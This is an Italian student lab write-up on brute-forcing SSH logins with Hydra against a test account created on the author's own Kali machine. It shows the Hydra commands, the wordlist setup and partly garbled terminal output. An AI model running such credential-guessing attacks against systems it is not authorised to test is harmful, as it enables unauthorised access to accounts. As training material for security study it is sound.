Esercizio M4-W2-D4 Daniele Atzori

Authentication Tracking con Hydra

Creiamo un nuovo utente sul nostro Kali Linux. Lo chiamiamo "test_user" e gli mettiamo "testpass" come password. Questo sarà l'user che tenteremo di craccare con Hydra.

```
| Ckali@ kali)-[-]
| Sudo adduser test_user
| sudo: unable to resolve host kali: Name or service not known
| sudo jandouser test_user | sudo: unable to resolve host kali: Name or service not known
| sudo jansonord for kali: |
| info: Adding new group 'test_user' (1801) ...
| info: Adding new group 'test_user' (1801) ...
| info: Adding new group 'test_user' (1801) ...
| info: Cadding new group 'test_user' (1801) ...
| info: Cadding new user 'test_user' (1801) with group 'test_user (1801)' ...
| info: Capying files from 'yetc/skel' ...
| kow password: password updated successfully
| Changing the user information for test_user
| Enter the new value, or press ENTER for the default |
| full Name [1] |
| Room Number [1] |
| Work phone [1] |
| Other [1] |
| Is the information correct? [Y/n] y |
| info: Adding new user 'test_user' to group 'users' ... |
| info: Adding user 'test_user' to group 'users' ... |
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| info: Adding user 'test_user' to group 'users' ... |
| info: Adding user 'test_user' to group 'users' ... |
| info: Adding user 'test_user' .
```

Con "sudo apt install seclists" installiamo le librerie di password che Hydra consulterà durante il bruteforce. In seguito facciamo partire Hydra. Nel comando per far partire Hydra sono presenti -V -L e -P. Queste lettere stanno per:

- -V Verbose: Mostra ogni tentativo di login effettuato durante l'attacco
- -L Username List: Specifica un file contenente una lista di nomi utente
- -P Password List: Specifica un file contenente una lista di password

```
| Saudo apt install seclists | Sudo: unable to resolve host kali: Name or service not known | Reading package lists... Done | Bullding dependency tree... Done | Reading state information... Done | Reading state information... Done | The following packages were automatically installed and are no longer required: | libnsl-dev libtirpc-dev | Use 'sudo apt autoremove' to remove them. | The following packages were automatically installed and are no longer required: | libnsl-dev libtirpc-dev | Use 'sudo apt autoremove' to remove them. | The following packages will be installed: seclists | Oupgraded, 1 newly installed, 0 to remove and 1921 not upgraded. | Need to get 470 MB of archives. | After this operation, 1,930 MB of additional disk space will be used. | Get:1 http://kali. download/kali kali-rolling/main amd64 seclists all 2024.1-0kali1 [470 MB] | Fetched 470 MB in 7min 40s (1,022 kB/s). | Selecting previously unselected package seclists. | Reading database ... | 399452 files and directories currently installed.) | Preparing to unpack ... /seclists_2024.1-0kali1 all.deb ... | Uppacking seclists (2024.1-0kali1) ... | Setting up seclists (2024.1-0kali1) ... | Setting up seclists (2024.1-0kali1) ... | Processing triggers for kali-menu (2023.4.6) ... | Processing triggers by van Hauser/THK 6 David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). | Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-29 06:51:36 [MARNING] Many Sid configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 472020598150 login tries (1:624370/p:755995) | .29501237385 tries per task | DATA] attacking ssh://192.168.1.107
```

Dopo un lasso di tempo variabile Hydra tenterà la password corretta e si loggerà nel profilo utente. Poiché il mio computer ci stava impiegando una vita e mezzo ho abortito il processo con Ctrl+C.

In alternativa si può inserire manualmente la coppia nome utente e password (che ovviamente noi in questo caso conoscevamo avendo appena creato il nuovo user) con la quale Hydra tenterà di fare il login.

```
(kali@ kali)-[~]
$ hydra -1 test_user -p testpass 192.168.1.107 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-29 07:02:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduc
e the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a p
revious session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.107:22/
[22][ssh] host: 192.168.1.107 login: test_user
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-29 07:02:27
```